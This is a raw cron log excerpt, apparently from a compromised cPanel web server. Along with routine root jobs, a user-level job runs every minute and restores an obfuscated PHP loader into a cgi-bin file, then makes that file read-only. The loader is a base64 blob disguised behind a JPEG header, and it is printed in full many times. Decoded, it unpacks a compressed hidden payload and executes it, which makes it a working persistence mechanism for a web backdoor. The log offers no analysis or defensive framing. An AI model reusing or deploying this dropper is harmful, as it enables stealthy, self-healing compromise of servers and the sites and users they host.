Nov 11 15:17:01 server CROND[20782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:18:01 server CROND[21603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:19:01 server CROND[22536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:20:02 server CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:20:02 server CROND[23363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:20:02 server CROND[23366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:20:02 server CROND[23368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:20:02 server CROND[23367]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 15:21:01 server CROND[24241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:22:01 server CROND[24631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:23:01 server CROND[25427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:24:01 server CROND[26241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:25:01 server CROND[27203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:25:01 server CROND[27204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:25:01 server CROND[27205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:26:01 server CROND[28089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:27:01 server CROND[28913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:27:01 server CROND[28914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:28:01 server CROND[29749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:29:01 server CROND[30552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:30:01 server CROND[31641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:30:01 server CROND[31642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:30:01 server CROND[31644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
